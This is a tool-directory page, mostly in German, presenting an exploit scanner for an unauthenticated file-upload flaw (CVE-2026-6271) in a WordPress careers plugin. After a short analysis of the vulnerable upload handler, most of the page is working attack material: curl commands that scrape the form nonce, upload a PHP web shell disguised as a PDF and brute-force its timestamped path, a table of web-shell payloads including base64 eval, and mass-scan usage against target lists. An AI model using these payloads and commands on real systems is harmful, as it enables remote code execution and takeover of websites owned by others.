Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-6271 — Automatisierter Scanner für CVE-2026-6271, eine kritische nicht authentifizierte beliebige Datei-Upload-Schwachstelle, die zu RCE im WordPress Career Section Plugin führt. Unterstützt Multithread-Scanning, mehrere Shell-Typen und Proxy-Integration. | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-6271
SchwachstellenscannerPayload-GenerierungExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubxxconi/cve-2026-6271

CVE-2026-6271

Automatisierter Scanner für CVE-2026-6271, eine kritische nicht authentifizierte beliebige Datei-Upload-Schwachstelle, die zu RCE im WordPress Career Section Plugin führt. Unterstützt Multithread-Scanning, mehrere Shell-Typen und Proxy-Integration.

Repository anzeigen
3vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-6271 — Career Section WordPress Plugin RCE-Scanner

Plugin: Career Section (career-section) CVE-ID: CVE-2026-6271 CVSS-Score: 9.8 (Kritisch) CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Schwachstellenart: Nicht authentifizierter beliebiger Datei-Upload → Remote Code Execution Betroffene Version: <= 1.7 Gepatchte Version: 1.8 Veröffentlichungsdatum: 13. Mai 2026 Forscher: Paolo Tresso — Wordfence


📌 Über die Schwachstelle

Das Career Section Plugin ermöglicht es Website-Besitzern, Stellenausschreibungen zu veröffentlichen und Bewerbungen zu sammeln. Auf jeder Stellenausschreibungsseite befindet sich ein „Apply Now“-Formular. Dieses Formular enthält ein Feld zum Hochladen einer CV-Datei.

In Version 1.7 und früheren Versionen akzeptiert der Upload-Handler jeden Dateityp — einschließlich .php. Da das Formular öffentlich ist und das CSRF-Token im Seiten-HTML eingebettet ist, kann diese Schwachstelle ohne jegliches Konto oder Berechtigungen ausgenutzt werden.


⚙️ Technische Analyse

Warum bietet der Nonce keinen Schutz?

WordPress-Nonces sind CSRF-Tokens, keine Authentifizierungs-Tokens. Der Nonce-Wert wird für jeden Besucher in das Seiten-HTML eingebettet:

<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>

Nicht authentifizierte Besucher können einen gültigen Nonce erhalten und die Validierungsprüfung bestehen.

Fehlende Dateityp-Validierung

// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // Uzantı kontrolü YOK — .php dahil her şey kabul edilir
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

sanitize_file_name() entfernt lediglich Sonderzeichen, unterbindet jedoch keine gefährlichen Erweiterungen.

Upload-Verzeichnis

wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

In diesem Verzeichnis gibt es keine .htaccess-Datei, die die Ausführung von PHP verhindert.


🔴 Warum kritisch?

GrundBeschreibung
Keine Authentifizierung erforderlichNonce ist im öffentlichen HTML eingebettet
Keine Dateityp-Beschränkung.php, .php5, .phtml werden akzeptiert
Kein .htaccess-SchutzPHP wird im Upload-Verzeichnis ausgeführt
Vorhersehbarer Dateinametime()_filename → Timestamp-Brute-Force

🧪 Proof of Concept (Manuell)

⚠️ Haftungsausschluss: Dieses PoC dient nur zu Bildungszwecken. Testen Sie nur Systeme, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung haben.

Voraussetzungen:

  • Career Section Plugin installiert und aktiv (Version ≤ 1.7)
  • Mindestens eine Stellenausschreibung veröffentlicht

Schritt 1 — PHP-Webshell erstellen

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Schritt 2 — Nonce abrufen

TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"

Struktur, die im Seitenquelltext gesucht wird:

<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

Schritt 3 — Webshell hochladen

TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

Schritt 4 — RCE auslösen

Der Dateiname hat das Format <timestamp>_shell.php. Probiere Timestamps rund um $TS aus:

UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell aktiv: $URL"
    echo "RCE çıktısı  : $RESULT"
    break
  fi
done

Erwartete Ausgabe:

Webshell aktiv: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı  : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ Automatischer Scanner

Installation

git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requirements.txt

requests

🚀 Verwendung

Einzelnes Ziel

python career_section_rce.py -u http://hedef.com

Mit direkter Job-URL

python career_section_rce.py -u http://hedef.com \
  --job-url http://hedef.com/careers/engineer/

Mit Shell-Überprüfung

python career_section_rce.py -u http://hedef.com \
  --verify-cmd "whoami"

Massen-Scan

python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt

Timestamp-Fenster erhöhen (langsame Server)

python career_section_rce.py -u http://hedef.com --ts-window 10

Full Shell + Proxy (Burp Suite)

python career_section_rce.py -u http://hedef.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

⚙️ Parameter

ParameterKurzBeschreibungStandard
--url-uEinzelziel-URL—
--list-lDatei mit Zielliste—
--threads-tAnzahl der Threads10
--output-oAusgabedateirce_confirmed.txt
--job-url—Direkte Joblisten-URL—
--shell-name—Name der hochzuladenden Dateishell.php
--shell-type—Shell-Typsystem
--verify-cmd—Befehl zur RCE-Überprüfungid
--ts-window—Timestamp-Brute-Force-Fenster (±s)5
--proxy—Proxy-URL—
--timeout—Anfrage-Timeout (s)10

💀 Shell-Typen

TypPayloadBeschreibung
system<?php system($_GET["cmd"]); ?>Grundlegender Systembefehl
passthru<?php passthru($_GET["cmd"]); ?>Rohe Ausgabe
exec<?php echo exec($_GET["cmd"]); ?>Stille Ausführung
assert<?php assert($_POST["cmd"]); ?>eval per POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Base64-Obfuskation
fullshell_exec + system + exec fallbackVollwertige Shell

📂 Shell-Ablageort

WordPress Kök/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← Shell burada

Direkter Zugriff:

curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

📊 Scanner-Ausgabestatus

StatusBeschreibung
★ RCE OKShell hochgeladen + Befehl erfolgreich ausgeführt
★ SHELL ALIVEShell erreichbar, andere Antwort zurückgegeben
~ EXEC_DISABLEDShell vorhanden, aber exec() auf dem Server deaktiviert
? UPLOADEDHochgeladen, aber Timestamp nicht gefunden
- BLOCKEDDateityp blockiert (gepatchte Version)
~ NO_NONCEcsaf_form_nonce nicht gefunden
~ TIMEOUTVerbindungszeitüberschreitung
~ UNREACHZiel nicht erreichbar

🖥️ Beispiel für die Scanner-Ausgabe

Tool herunterladen